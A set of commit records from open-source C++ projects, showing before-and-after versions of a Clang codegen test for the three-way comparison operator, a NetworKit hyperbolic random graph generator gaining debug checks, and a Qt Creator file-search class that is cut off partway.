-1, i8* %__value_ // CHECK: ret const int x = 42; const int y = 101; return x <=> y; } // CHECK-LABEL: @_Z16test_nullptr_objPiDn auto test_nullptr_obj(int* x, decltype(nullptr) y) { // CHECK: %[[DEST:retval|agg.result]] // CHECK: %cmp.eq = icmp eq i32* %0, null // CHECK: %sel.eq = select i1 %cmp.eq, i8 [[EQ]], i8 [[NE]] // CHECK: %__value_ = getelementptr inbounds %[[SE]], %[[SE]]* %[[DEST]] // CHECK: store i8 %sel.eq, i8* %__value_, align 1 return x <=> y; } // CHECK-LABEL: @_Z18unscoped_enum_testijxy void unscoped_enum_test(int i, unsigned u, long long l, unsigned long long ul) { enum EnumA : int { A }; enum EnumB : unsigned { B }; // CHECK: %[[I:.*]] = load {{.*}} %i.addr // CHECK: icmp slt i32 {{.*}} %[[I]] (void)(A <=> i); // CHECK: %[[U:.*]] = load {{.*}} %u.addr // CHECK: icmp ult i32 {{.*}} %[[U]] (void)(A <=> u); // CHECK: %[[L:.*]] = load {{.*}} %l.addr // CHECK: icmp slt i64 {{.*}} %[[L]] (void)(A <=> l); // CHECK: %[[U2:.*]] = load {{.*}} %u.addr // CHECK: icmp ult i32 {{.*}} %[[U2]] (void)(B <=> u); // CHECK: %[[UL:.*]] = load {{.*}} %ul.addr // CHECK: icmp ult i64 {{.*}} %[[UL]] (void)(B <=> ul); } namespace NullptrTest { using nullptr_t = decltype(nullptr); // CHECK-LABEL: @_ZN11NullptrTest4testEDnDn( auto test(nullptr_t x, nullptr_t y) { // CHECK: %[[DEST:retval|agg.result]] // CHECK-NOT: select // CHECK: %__value_ = getelementptr inbounds %[[SE]], %[[SE]]* %[[DEST]] // CHECK-NEXT: store i8 [[EQ]], i8* %__value_ // CHECK: ret return x <=> y; } } // namespace NullptrTest namespace ComplexTest { auto test_float(_Complex float x, _Complex float y) { // CHECK: %[[DEST:retval|agg.result]] // CHECK: %cmp.eq.r = fcmp oeq float %x.real, %y.real // CHECK: %cmp.eq.i = fcmp oeq float %x.imag, %y.imag // CHECK: %and.eq = and i1 %cmp.eq.r, %cmp.eq.i // CHECK: %sel.eq = select i1 %and.eq, i8 [[EQ]], i8 [[NE]] // CHECK: %__value_ = getelementptr inbounds %[[WE]], %[[WE]]* %[[DEST]] // CHECK: store i8 %sel.eq, i8* %__value_, align 1 return x <=> y; } // CHECK-LABEL: @_ZN11ComplexTest8test_intECiS0_( auto test_int(_Complex int x, _Complex int y) { // CHECK: %[[DEST:retval|agg.result]] // CHECK: %cmp.eq.r = icmp eq i32 %x.real, %y.real // CHECK: %cmp.eq.i = icmp eq i32 %x.imag, %y.imag // CHECK: %and.eq = and i1 %cmp.eq.r, %cmp.eq.i // CHECK: %sel.eq = select i1 %and.eq, i8 [[EQ]], i8 [[NE]] // CHECK: %__value_ = getelementptr inbounds %[[SE]], %[[SE]]* %[[DEST]] // CHECK: store i8 %sel.eq, i8* %__value_, align 1 return x <=> y; } } // namespace ComplexTest <commit_msg>Replace temporary variable matches in test since r363952 causes an extra temporary variable to be created.<commit_after>// RUN: %clang_cc1 -std=c++2a -emit-llvm %s -o - -triple %itanium_abi_triple | \ // RUN: FileCheck %s \ // RUN: '-DWE="class.std::__1::weak_equality"' \ // RUN: '-DSO="class.std::__1::strong_ordering"' \ // RUN: '-DSE="class.std::__1::strong_equality"' \ // RUN: '-DPO="class.std::__1::partial_ordering"' \ // RUN: -DEQ=0 -DLT=-1 -DGT=1 -DUNORD=-127 -DNE=1 #include "Inputs/std-compare.h" // Ensure we don't emit definitions for the global variables // since the builtins shouldn't ODR use them. // CHECK-NOT: constant %[[SO]] // CHECK-NOT: constant %[[SE]] // CHECK-NOT: constant %[[WE]] // CHECK-NOT: constant %[[PO]] // CHECK-LABEL: @_Z11test_signedii auto test_signed(int x, int y) { // CHECK: %[[DEST:retval|agg.result]] // CHECK: %cmp.lt = icmp slt i32 %{{.+}}, %{{.+}} // CHECK: %sel.lt = select i1 %cmp.lt, i8 [[LT]], i8 [[GT]] // CHECK: %cmp.eq = icmp eq i32 %{{.+}}, %{{.+}} // CHECK: %sel.eq = select i1 %cmp.eq, i8 [[EQ]], i8 %sel.lt // CHECK: %__value_ = getelementptr inbounds %[[SO]], %[[SO]]* %[[DEST]] // CHECK: store i8 %sel.eq, i8* %__value_, align 1 // CHECK: ret return x <=> y; } // CHECK-LABEL: @_Z13test_unsignedjj auto test_unsigned(unsigned x, unsigned y) { // CHECK: %[[DEST:retval|agg.result]] // CHECK: %cmp.lt = icmp ult i32 %{{.+}}, %{{.+}} // CHECK: %sel.lt = select i1 %cmp.lt, i8 [[LT]], i8 [[GT]] // CHECK: %cmp.eq = icmp eq i32 %{{.+}}, %{{.+}} // CHECK: %sel.eq = select i1 %cmp.eq, i8 [[EQ]], i8 %sel.lt // CHECK: %__value_ = getelementptr inbounds %[[SO]], %[[SO]]* %[[DEST]] // CHECK: store i8 %sel.eq, i8* %__value_ // CHECK: ret return x <=> y; } // CHECK-LABEL: @_Z10float_testdd auto float_test(double x, double y) { // CHECK: %[[DEST:retval|agg.result]] // CHECK: %cmp.eq = fcmp oeq double %{{.+}}, %{{.+}} // CHECK: %sel.eq = select i1 %cmp.eq, i8 [[EQ]], i8 [[UNORD]] // CHECK: %cmp.gt = fcmp ogt double %{{.+}}, %{{.+}} // CHECK: %sel.gt = select i1 %cmp.gt, i8 [[GT]], i8 %sel.eq // CHECK: %cmp.lt = fcmp olt double %{{.+}}, %{{.+}} // CHECK: %sel.lt = select i1 %cmp.lt, i8 [[LT]], i8 %sel.gt // CHECK: %__value_ = getelementptr inbounds %[[PO]], %[[PO]]* %[[DEST]] // CHECK: store i8 %sel.lt, i8* %__value_ // CHECK: ret return x <=> y; } // CHECK-LABEL: @_Z8ptr_testPiS_ auto ptr_test(int *x, int *y) { // CHECK: %[[DEST:retval|agg.result]] // CHECK: %cmp.lt = icmp ult i32* %{{.+}}, %{{.+}} // CHECK: %sel.lt = select i1 %cmp.lt, i8 [[LT]], i8 [[GT]] // CHECK: %cmp.eq = icmp eq i32* %{{.+}}, %{{.+}} // CHECK: %sel.eq = select i1 %cmp.eq, i8 [[EQ]], i8 %sel.lt // CHECK: %__value_ = getelementptr inbounds %[[SO]], %[[SO]]* %[[DEST]] // CHECK: store i8 %sel.eq, i8* %__value_, align 1 // CHECK: ret return x <=> y; } struct MemPtr {}; using MemPtrT = void (MemPtr::*)(); using MemDataT = int(MemPtr::*); // CHECK-LABEL: @_Z12mem_ptr_testM6MemPtrFvvES1_ auto mem_ptr_test(MemPtrT x, MemPtrT y) { // CHECK: %[[DEST:retval|agg.result]] // CHECK: %cmp.ptr = icmp eq [[TY:i[0-9]+]] %lhs.memptr.ptr, %rhs.memptr.ptr // CHECK: %cmp.ptr.null = icmp eq [[TY]] %lhs.memptr.ptr, 0 // CHECK: %cmp.adj = icmp eq [[TY]] %lhs.memptr.adj, %rhs.memptr.adj // CHECK: %[[OR:.*]] = or i1 // CHECK-SAME: %cmp.adj // CHECK: %memptr.eq = and i1 %cmp.ptr, %[[OR]] // CHECK: %sel.eq = select i1 %memptr.eq, i8 [[EQ]], i8 [[NE]] // CHECK: %__value_ = getelementptr inbounds %[[SE]], %[[SE]]* %[[DEST]] // CHECK: store i8 %sel.eq, i8* %__value_, align 1 // CHECK: ret return x <=> y; } // CHECK-LABEL: @_Z13mem_data_testM6MemPtriS0_ auto mem_data_test(MemDataT x, MemDataT y) { // CHECK: %[[DEST:retval|agg.result]] // CHECK: %[[CMP:.*]] = icmp eq i{{[0-9]+}} %{{.+}}, %{{.+}} // CHECK: %sel.eq = select i1 %[[CMP]], i8 [[EQ]], i8 [[NE]] // CHECK: %__value_ = getelementptr inbounds %[[SE]], %[[SE]]* %[[DEST]] // CHECK: store i8 %sel.eq, i8* %__value_, align 1 return x <=> y; } // CHECK-LABEL: @_Z13test_constantv auto test_constant() { // CHECK: %[[DEST:retval|agg.result]] // CHECK-NOT: icmp // CHECK: %__value_ = getelementptr inbounds %[[SO]], %[[SO]]* %[[DEST]] // CHECK-NEXT: store i8 -1, i8* %__value_ // CHECK: ret const int x = 42; const int y = 101; return x <=> y; } // CHECK-LABEL: @_Z16test_nullptr_objPiDn auto test_nullptr_obj(int* x, decltype(nullptr) y) { // CHECK: %[[DEST:retval|agg.result]] // CHECK: %cmp.eq = icmp eq i32* %{{.+}}, null // CHECK: %sel.eq = select i1 %cmp.eq, i8 [[EQ]], i8 [[NE]] // CHECK: %__value_ = getelementptr inbounds %[[SE]], %[[SE]]* %[[DEST]] // CHECK: store i8 %sel.eq, i8* %__value_, align 1 return x <=> y; } // CHECK-LABEL: @_Z18unscoped_enum_testijxy void unscoped_enum_test(int i, unsigned u, long long l, unsigned long long ul) { enum EnumA : int { A }; enum EnumB : unsigned { B }; // CHECK: %[[I:.*]] = load {{.*}} %i.addr // CHECK: icmp slt i32 {{.*}} %[[I]] (void)(A <=> i); // CHECK: %[[U:.*]] = load {{.*}} %u.addr // CHECK: icmp ult i32 {{.*}} %[[U]] (void)(A <=> u); // CHECK: %[[L:.*]] = load {{.*}} %l.addr // CHECK: icmp slt i64 {{.*}} %[[L]] (void)(A <=> l); // CHECK: %[[U2:.*]] = load {{.*}} %u.addr // CHECK: icmp ult i32 {{.*}} %[[U2]] (void)(B <=> u); // CHECK: %[[UL:.*]] = load {{.*}} %ul.addr // CHECK: icmp ult i64 {{.*}} %[[UL]] (void)(B <=> ul); } namespace NullptrTest { using nullptr_t = decltype(nullptr); // CHECK-LABEL: @_ZN11NullptrTest4testEDnDn( auto test(nullptr_t x, nullptr_t y) { // CHECK: %[[DEST:retval|agg.result]] // CHECK-NOT: select // CHECK: %__value_ = getelementptr inbounds %[[SE]], %[[SE]]* %[[DEST]] // CHECK-NEXT: store i8 [[EQ]], i8* %__value_ // CHECK: ret return x <=> y; } } // namespace NullptrTest namespace ComplexTest { auto test_float(_Complex float x, _Complex float y) { // CHECK: %[[DEST:retval|agg.result]] // CHECK: %cmp.eq.r = fcmp oeq float %x.real, %y.real // CHECK: %cmp.eq.i = fcmp oeq float %x.imag, %y.imag // CHECK: %and.eq = and i1 %cmp.eq.r, %cmp.eq.i // CHECK: %sel.eq = select i1 %and.eq, i8 [[EQ]], i8 [[NE]] // CHECK: %__value_ = getelementptr inbounds %[[WE]], %[[WE]]* %[[DEST]] // CHECK: store i8 %sel.eq, i8* %__value_, align 1 return x <=> y; } // CHECK-LABEL: @_ZN11ComplexTest8test_intECiS0_( auto test_int(_Complex int x, _Complex int y) { // CHECK: %[[DEST:retval|agg.result]] // CHECK: %cmp.eq.r = icmp eq i32 %x.real, %y.real // CHECK: %cmp.eq.i = icmp eq i32 %x.imag, %y.imag // CHECK: %and.eq = and i1 %cmp.eq.r, %cmp.eq.i // CHECK: %sel.eq = select i1 %and.eq, i8 [[EQ]], i8 [[NE]] // CHECK: %__value_ = getelementptr inbounds %[[SE]], %[[SE]]* %[[DEST]] // CHECK: store i8 %sel.eq, i8* %__value_, align 1 return x <=> y; } } // namespace ComplexTest <|endoftext|>
<commit_before>/* * HyperbolicGenerator.cpp * * Created on: 20.05.2014 * Author: Moritz v. Looz (moritz.looz-corswarem@kit.edu) * This generator is a simplified version of the model presented in * "Hyperbolic geometry of complex networks. Physical Review E, 82:036106, Sep 2010." by * Dmitri Krioukov, Fragkiskos Papadopoulos, Maksim Kitsak, Amin Vahdat, and Marian Boguna * */ #include <cstdlib> #include <random> #include <math.h> #include <assert.h> #include <omp.h> #include <algorithm> #include "../graph/GraphBuilder.h" #include "HyperbolicGenerator.h" #include "Quadtree/Quadtree.h" #include "../auxiliary/Random.h" #include "../auxiliary/ProgressMeter.h" namespace NetworKit { HyperbolicGenerator::HyperbolicGenerator() { stretch = 1; alpha = 1; factor = 1; nodeCount = 10000; initialize(); } HyperbolicGenerator::HyperbolicGenerator(count n) { nodeCount = n; alpha = 1; factor = 1; stretch=1; temperature=0; initialize(); } /** * Construct a generator for n nodes and m edges */ HyperbolicGenerator::HyperbolicGenerator(count n, double avgDegree, double plexp, double T) { nodeCount = n; if (plexp < 2) throw std::runtime_error("Exponent of power-law degree distribution must be >= 2"); if (T < 0 || T == 1) throw std::runtime_error("Temperature must be non-negative and not 1.");//Really necessary? Graphs with T=1 can be generated, only their degree is not controllable if (avgDegree > n) throw std::runtime_error("Average Degree must be at most n"); alpha = (plexp-1)/2; double R = HyperbolicSpace::hyperbolicAreaToRadius(n); double targetR = HyperbolicSpace::getTargetRadius(n, n*avgDegree/2, alpha, T);// 2*log(8*n / (M_PI*(m/n)*2)); stretch = targetR / R; factor = 1; temperature=T; initialize(); } void HyperbolicGenerator::initialize() { if (temperature == 0) { capacity = 1000; } else { capacity = 10; } theoreticalSplit = true; threadtimers.resize(omp_get_max_threads()); balance = 0.5; } Graph HyperbolicGenerator::generate() { return generate(nodeCount, factor, alpha, stretch, temperature); } Graph HyperbolicGenerator::generate(count n, double distanceFactor, double alpha, double stretchradius, double T) { double R = stretchradius*HyperbolicSpace::hyperbolicAreaToRadius(n); vector<double> angles(n); vector<double> radii(n); double r = HyperbolicSpace::hyperbolicRadiusToEuclidean(R); //sample points randomly HyperbolicSpace::fillPoints(angles, radii, stretchradius, alpha); vector<index> permutation(n); index p = 0; std::generate(permutation.begin(), permutation.end(), [&p](){return p++;}); //can probably be parallelized easily, but doesn't bring much benefit std::sort(permutation.begin(), permutation.end(), [&angles,&radii](index i, index j){return angles[i] < angles[j] || (angles[i] == angles[j] && radii[i] < radii[j]);}); vector<double> anglecopy(n); vector<double> radiicopy(n); #pragma omp parallel for for (index j = 0; j < n; j++) { anglecopy[j] = angles[permutation[j]]; radiicopy[j] = radii[permutation[j]]; } INFO("Generated Points"); return generate(anglecopy, radiicopy, r, R*distanceFactor, T); } double HyperbolicGenerator::expectedNumberOfEdges(count n, double stretch) { double R = stretch*HyperbolicSpace::hyperbolicAreaToRadius(n); return (8 / M_PI) * n * exp(-R/2)*(n/2); } Graph HyperbolicGenerator::generate(const vector<double> &angles, const vector<double> &radii, double r, double thresholdDistance, double T) { Aux::Timer timer; timer.start(); index n = angles.size(); assert(radii.size() == n); Quadtree<index> quad(r, theoreticalSplit, alpha, capacity, balance); //initialize a graph builder for n nodes and an undirected, unweighted graph with direct swap for (index i = 0; i < n; i++) { assert(radii[i] < r); quad.addContent(i, angles[i], radii[i]); } quad.trim(); timer.stop(); INFO("Filled Quadtree, took ", timer.elapsedMilliseconds(), " milliseconds."); return generate(angles, radii, quad, thresholdDistance, T); } Graph HyperbolicGenerator::generateCold(const vector<double> &angles, const vector<double> &radii, Quadtree<index> &quad, double thresholdDistance) { index n = angles.size(); assert(radii.size() == n); Aux::Timer timer; timer.start(); vector<double> empty; GraphBuilder result(n, false, false, directSwap); bool suppressLeft = directSwap ? false : std::is_sorted(angles.begin(), angles.end());//relying on lazy evaluation here Aux::ProgressMeter progress(n, 10000); #pragma omp parallel { index id = omp_get_thread_num(); threadtimers[id].start(); #pragma omp for schedule(guided) nowait for (index i = 0; i < n; i++) { //get neighbours for node i count expectedDegree = (4/M_PI)*n*exp(-HyperbolicSpace::EuclideanRadiusToHyperbolic(radii[i])/2); vector<index> near; near.reserve(expectedDegree*1.1); quad.getElementsInHyperbolicCircle(HyperbolicSpace::polarToCartesian(angles[i], radii[i]), thresholdDistance, suppressLeft, near); //count realDegree = near.size(); //std::swap(expectedDegree, realDegree);//dummy statement for debugging if (directSwap) { auto newend = std::remove(near.begin(), near.end(), i); //no self loops! if (newend != near.end()) { assert(newend+1 == near.end()); assert(*(newend)==i); near.pop_back();//std::remove doesn't remove element but swaps it to the end } result.swapNeighborhood(i, near, empty, false); } else { for (index j : near) { if (j > i) result.addEdge(i,j); } } if (i % 10000 == 0) { #pragma omp critical (progress) { progress.signal(i); } } } TRACE("Thread ", id, " finished."); threadtimers[id].stop(); TRACE("Took ", threadtimers[id].elapsedMilliseconds(), " milliseconds."); } timer.stop(); INFO("Generating Edges took ", timer.elapsedMilliseconds(), " milliseconds."); return result.toGraph(true); } Graph HyperbolicGenerator::generate(const vector<double> &angles, const vector<double> &radii, Quadtree<index> &quad, double thresholdDistance, double T) { if (T < 0) throw std::runtime_error("Temperature cannot be negative."); if (T == 0) return generateCold(angles, radii, quad, thresholdDistance); assert(T > 0); count n = angles.size(); assert(radii.size() == n); assert(quad.size() == n); bool anglesSorted = std::is_sorted(angles.begin(), angles.end()); //now define lambda double beta = 1/T; auto edgeProb = [beta, thresholdDistance](double distance) -> double {return 1 / (exp(beta*(distance-thresholdDistance)/2)+1);}; //get Graph GraphBuilder result(n, false, false, false);//no direct swap with probabilistic graphs, sorry Aux::ProgressMeter progress(n, 10000); count totalCandidates = 0; #pragma omp parallel for for (index i = 0; i < n; i++) { vector<index> near; totalCandidates += quad.getElementsProbabilistically(HyperbolicSpace::polarToCartesian(angles[i], radii[i]), edgeProb, anglesSorted, near); for (index j : near) { if (j > i) result.addEdge(i, j); } if (i % 10000 == 0) { #pragma omp critical (progress) { progress.signal(i); } } } DEBUG("Candidates tested: ", totalCandidates); return result.toGraph(true); } } <commit_msg>even more tracing<commit_after>/* * HyperbolicGenerator.cpp * * Created on: 20.05.2014 * Author: Moritz v. Looz (moritz.looz-corswarem@kit.edu) * This generator is a simplified version of the model presented in * "Hyperbolic geometry of complex networks. Physical Review E, 82:036106, Sep 2010." by * Dmitri Krioukov, Fragkiskos Papadopoulos, Maksim Kitsak, Amin Vahdat, and Marian Boguna * */ #include <cstdlib> #include <random> #include <math.h> #include <assert.h> #include <omp.h> #include <algorithm> #include "../graph/GraphBuilder.h" #include "HyperbolicGenerator.h" #include "Quadtree/Quadtree.h" #include "../auxiliary/Random.h" #include "../auxiliary/ProgressMeter.h" namespace NetworKit { HyperbolicGenerator::HyperbolicGenerator() { stretch = 1; alpha = 1; factor = 1; nodeCount = 10000; initialize(); } HyperbolicGenerator::HyperbolicGenerator(count n) { nodeCount = n; alpha = 1; factor = 1; stretch=1; temperature=0; initialize(); } /** * Construct a generator for n nodes and m edges */ HyperbolicGenerator::HyperbolicGenerator(count n, double avgDegree, double plexp, double T) { nodeCount = n; if (plexp < 2) throw std::runtime_error("Exponent of power-law degree distribution must be >= 2"); if (T < 0 || T == 1) throw std::runtime_error("Temperature must be non-negative and not 1.");//Really necessary? Graphs with T=1 can be generated, only their degree is not controllable if (avgDegree > n) throw std::runtime_error("Average Degree must be at most n"); alpha = (plexp-1)/2; double R = HyperbolicSpace::hyperbolicAreaToRadius(n); double targetR = HyperbolicSpace::getTargetRadius(n, n*avgDegree/2, alpha, T);// 2*log(8*n / (M_PI*(m/n)*2)); stretch = targetR / R; factor = 1; temperature=T; initialize(); } void HyperbolicGenerator::initialize() { if (temperature == 0) { capacity = 1000; } else { capacity = 10; } theoreticalSplit = true; threadtimers.resize(omp_get_max_threads()); balance = 0.5; } Graph HyperbolicGenerator::generate() { return generate(nodeCount, factor, alpha, stretch, temperature); } Graph HyperbolicGenerator::generate(count n, double distanceFactor, double alpha, double stretchradius, double T) { double R = stretchradius*HyperbolicSpace::hyperbolicAreaToRadius(n); vector<double> angles(n); vector<double> radii(n); double r = HyperbolicSpace::hyperbolicRadiusToEuclidean(R); //sample points randomly HyperbolicSpace::fillPoints(angles, radii, stretchradius, alpha); vector<index> permutation(n); index p = 0; std::generate(permutation.begin(), permutation.end(), [&p](){return p++;}); //can probably be parallelized easily, but doesn't bring much benefit std::sort(permutation.begin(), permutation.end(), [&angles,&radii](index i, index j){return angles[i] < angles[j] || (angles[i] == angles[j] && radii[i] < radii[j]);}); vector<double> anglecopy(n); vector<double> radiicopy(n); #pragma omp parallel for for (index j = 0; j < n; j++) { anglecopy[j] = angles[permutation[j]]; radiicopy[j] = radii[permutation[j]]; } INFO("Generated Points"); return generate(anglecopy, radiicopy, r, R*distanceFactor, T); } double HyperbolicGenerator::expectedNumberOfEdges(count n, double stretch) { double R = stretch*HyperbolicSpace::hyperbolicAreaToRadius(n); return (8 / M_PI) * n * exp(-R/2)*(n/2); } Graph HyperbolicGenerator::generate(const vector<double> &angles, const vector<double> &radii, double r, double thresholdDistance, double T) { Aux::Timer timer; timer.start(); index n = angles.size(); assert(radii.size() == n); Quadtree<index> quad(r, theoreticalSplit, alpha, capacity, balance); //initialize a graph builder for n nodes and an undirected, unweighted graph with direct swap for (index i = 0; i < n; i++) { assert(radii[i] < r); quad.addContent(i, angles[i], radii[i]); } quad.trim(); timer.stop(); INFO("Filled Quadtree, took ", timer.elapsedMilliseconds(), " milliseconds."); return generate(angles, radii, quad, thresholdDistance, T); } Graph HyperbolicGenerator::generateCold(const vector<double> &angles, const vector<double> &radii, Quadtree<index> &quad, double thresholdDistance) { index n = angles.size(); assert(radii.size() == n); Aux::Timer timer; timer.start(); vector<double> empty; GraphBuilder result(n, false, false, directSwap); bool suppressLeft = directSwap ? false : std::is_sorted(angles.begin(), angles.end());//relying on lazy evaluation here Aux::ProgressMeter progress(n, 10000); #pragma omp parallel { index id = omp_get_thread_num(); threadtimers[id].start(); #pragma omp for schedule(guided) nowait for (index i = 0; i < n; i++) { //get neighbours for node i count expectedDegree = (4/M_PI)*n*exp(-HyperbolicSpace::EuclideanRadiusToHyperbolic(radii[i])/2);//TODO: adapt for alpha!=1 vector<index> near; near.reserve(expectedDegree*1.1); quad.getElementsInHyperbolicCircle(HyperbolicSpace::polarToCartesian(angles[i], radii[i]), thresholdDistance, suppressLeft, near); assert(near.size() <= n); if (near.size() > 2*expectedDegree) DEBUG("Odd. Found more than twice as many edges as expected."); //count realDegree = near.size(); //std::swap(expectedDegree, realDegree);//dummy statement for debugging if (directSwap) { auto newend = std::remove(near.begin(), near.end(), i); //no self loops! if (newend != near.end()) { assert(newend+1 == near.end()); assert(*(newend)==i); near.pop_back();//std::remove doesn't remove element but swaps it to the end } result.swapNeighborhood(i, near, empty, false); } else { for (index j : near) { if (j >= n) ERROR("Node ", j, " prospective neighbour of ", i, " does not actually exist. Oops."); if (j > i) result.addEdge(i,j); } } if (i % 10000 == 0) { #pragma omp critical (progress) { progress.signal(i); } } } TRACE("Thread ", id, " finished."); threadtimers[id].stop(); TRACE("Took ", threadtimers[id].elapsedMilliseconds(), " milliseconds."); } timer.stop(); INFO("Generating Edges took ", timer.elapsedMilliseconds(), " milliseconds."); return result.toGraph(true); } Graph HyperbolicGenerator::generate(const vector<double> &angles, const vector<double> &radii, Quadtree<index> &quad, double thresholdDistance, double T) { if (T < 0) throw std::runtime_error("Temperature cannot be negative."); if (T == 0) return generateCold(angles, radii, quad, thresholdDistance); assert(T > 0); count n = angles.size(); assert(radii.size() == n); assert(quad.size() == n); bool anglesSorted = std::is_sorted(angles.begin(), angles.end()); //now define lambda double beta = 1/T; auto edgeProb = [beta, thresholdDistance](double distance) -> double {return 1 / (exp(beta*(distance-thresholdDistance)/2)+1);}; //get Graph GraphBuilder result(n, false, false, false);//no direct swap with probabilistic graphs, sorry Aux::ProgressMeter progress(n, 10000); count totalCandidates = 0; #pragma omp parallel for for (index i = 0; i < n; i++) { vector<index> near; totalCandidates += quad.getElementsProbabilistically(HyperbolicSpace::polarToCartesian(angles[i], radii[i]), edgeProb, anglesSorted, near); for (index j : near) { if (j >= n) ERROR("Node ", j, " prospective neighbour of ", i, " does not actually exist. Oops."); if (j > i) result.addEdge(i, j); } if (i % 10000 == 0) { #pragma omp critical (progress) { progress.signal(i); } } } DEBUG("Candidates tested: ", totalCandidates); return result.toGraph(true); } } <|endoftext|>
<commit_before>/************************************************************************** ** ** This file is part of Qt Creator ** ** Copyright (c) 2010 Nokia Corporation and/or its subsidiary(-ies). ** ** Contact: Nokia Corporation (qt-info@nokia.com) ** ** Commercial Usage ** ** Licensees holding valid Qt Commercial licenses may use this file in ** accordance with the Qt Commercial License Agreement provided with the ** Software or, alternatively, in accordance with the terms contained in ** a written agreement between you and Nokia. ** ** GNU Lesser General Public License Usage ** ** Alternatively, this file may be used under the terms of the GNU Lesser ** General Public License version 2.1 as published by the Free Software ** Foundation and appearing in the file LICENSE.LGPL included in the ** packaging of this file. Please review the following information to ** ensure the GNU Lesser General Public License version 2.1 requirements ** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. ** ** If you are unsure which license is appropriate for your use, please ** contact the sales department at http://qt.nokia.com/contact. ** **************************************************************************/ #include "findinfiles.h" #include <QtCore/QtDebug> #include <QtCore/QSettings> #include <QtCore/QDir> #include <QtCore/QDirIterator> #include <QtGui/QPushButton> #include <QtGui/QFileDialog> #include <QtGui/QVBoxLayout> using namespace Find; using namespace TextEditor::Internal; FindInFiles::FindInFiles(SearchResultWindow *resultWindow) : BaseFileFind(resultWindow), m_configWidget(0), m_directory(0) { } QString FindInFiles::id() const { return "Files on Disk"; } QString FindInFiles::name() const { return tr("Files on File System"); } QKeySequence FindInFiles::defaultShortcut() const { return QKeySequence(); } void FindInFiles::findAll(const QString &txt, QTextDocument::FindFlags findFlags) { updateComboEntries(m_directory, true); BaseFileFind::findAll(txt, findFlags); } QStringList FindInFiles::files() { QStringList fileList; QDirIterator it(m_directory->currentText(), fileNameFilters(), QDir::Files|QDir::Readable, QDirIterator::Subdirectories); while (it.hasNext()) { it.next(); fileList << it.filePath(); } return fileList; } QWidget *FindInFiles::createConfigWidget() { if (!m_configWidget) { m_configWidget = new QWidget; QGridLayout * const gridLayout = new QGridLayout(m_configWidget); gridLayout->setMargin(0); m_configWidget->setLayout(gridLayout); gridLayout->addWidget(createRegExpWidget(), 0, 1, 1, 2); QLabel *dirLabel = new QLabel(tr("&Directory:")); gridLayout->addWidget(dirLabel, 1, 0, Qt::AlignRight); m_directory = new QComboBox; m_directory->setEditable(true); m_directory->setMaxCount(30); m_directory->setMinimumContentsLength(10); m_directory->setSizeAdjustPolicy(QComboBox::AdjustToMinimumContentsLengthWithIcon); m_directory->setInsertPolicy(QComboBox::InsertAtTop); m_directory->setSizePolicy(QSizePolicy::Expanding, QSizePolicy::Fixed); m_directory->setModel(&m_directoryStrings); syncComboWithSettings(m_directory, m_directorySetting); dirLabel->setBuddy(m_directory); gridLayout->addWidget(m_directory, 1, 1); QPushButton *browseButton = new QPushButton(tr("&Browse")); gridLayout->addWidget(browseButton, 1, 2); connect(browseButton, SIGNAL(clicked()), this, SLOT(openFileBrowser())); QLabel * const filePatternLabel = new QLabel(tr("File &pattern:")); filePatternLabel->setMinimumWidth(80); filePatternLabel->setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Preferred); filePatternLabel->setAlignment(Qt::AlignRight | Qt::AlignVCenter); QWidget *patternWidget = createPatternWidget(); filePatternLabel->setBuddy(patternWidget); gridLayout->addWidget(filePatternLabel, 2, 0); gridLayout->addWidget(patternWidget, 2, 1, 1, 2); m_configWidget->setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Preferred); } return m_configWidget; } void FindInFiles::openFileBrowser() { if (!m_directory) return; QString oldDir = m_directory->currentText(); if (!QDir(oldDir).exists()) oldDir.clear(); QString dir = QFileDialog::getExistingDirectory(m_configWidget, tr("Directory to search"), oldDir); if (!dir.isEmpty()) m_directory->setEditText(dir); } void FindInFiles::writeSettings(QSettings *settings) { settings->beginGroup("FindInFiles"); writeCommonSettings(settings); settings->setValue("directories", m_directoryStrings.stringList()); if (m_directory) settings->setValue("currentDirectory", m_directory->currentText()); settings->endGroup(); } void FindInFiles::readSettings(QSettings *settings) { settings->beginGroup("FindInFiles"); readCommonSettings(settings, "*.cpp,*.h"); m_directoryStrings.setStringList(settings->value("directories").toStringList()); m_directorySetting = settings->value("currentDirectory").toString(); settings->endGroup(); syncComboWithSettings(m_directory, m_directorySetting); } <commit_msg>Don't call QDirIterator::filePath() twice<commit_after>/************************************************************************** ** ** This file is part of Qt Creator ** ** Copyright (c) 2010 Nokia Corporation and/or its subsidiary(-ies). ** ** Contact: Nokia Corporation (qt-info@nokia.com) ** ** Commercial Usage ** ** Licensees holding valid Qt Commercial licenses may use this file in ** accordance with the Qt Commercial License Agreement provided with the ** Software or, alternatively, in accordance with the terms contained in ** a written agreement between you and Nokia. ** ** GNU Lesser General Public License Usage ** ** Alternatively, this file may be used under the terms of the GNU Lesser ** General Public License version 2.1 as published by the Free Software ** Foundation and appearing in the file LICENSE.LGPL included in the ** packaging of this file. Please review the following information to ** ensure the GNU Lesser General Public License version 2.1 requirements ** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. ** ** If you are unsure which license is appropriate for your use, please ** contact the sales department at http://qt.nokia.com/contact. ** **************************************************************************/ #include "findinfiles.h" #include <QtCore/QtDebug> #include <QtCore/QSettings> #include <QtCore/QDir> #include <QtCore/QDirIterator> #include <QtGui/QPushButton> #include <QtGui/QFileDialog> #include <QtGui/QVBoxLayout> using namespace Find; using namespace TextEditor::Internal; FindInFiles::FindInFiles(SearchResultWindow *resultWindow) : BaseFileFind(resultWindow), m_configWidget(0), m_directory(0) { } QString FindInFiles::id() const { return "Files on Disk"; } QString FindInFiles::name() const { return tr("Files on File System"); } QKeySequence FindInFiles::defaultShortcut() const { return QKeySequence(); } void FindInFiles::findAll(const QString &txt, QTextDocument::FindFlags findFlags) { updateComboEntries(m_directory, true); BaseFileFind::findAll(txt, findFlags); } QStringList FindInFiles::files() { QStringList fileList; QDirIterator it(m_directory->currentText(), fileNameFilters(), QDir::Files|QDir::Readable, QDirIterator::Subdirectories); while (it.hasNext()) fileList << it.next(); return fileList; } QWidget *FindInFiles::createConfigWidget() { if (!m_configWidget) { m_configWidget = new QWidget; QGridLayout * const gridLayout = new QGridLayout(m_configWidget); gridLayout->setMargin(0); m_configWidget->setLayout(gridLayout); gridLayout->addWidget(createRegExpWidget(), 0, 1, 1, 2); QLabel *dirLabel = new QLabel(tr("&Directory:")); gridLayout->addWidget(dirLabel, 1, 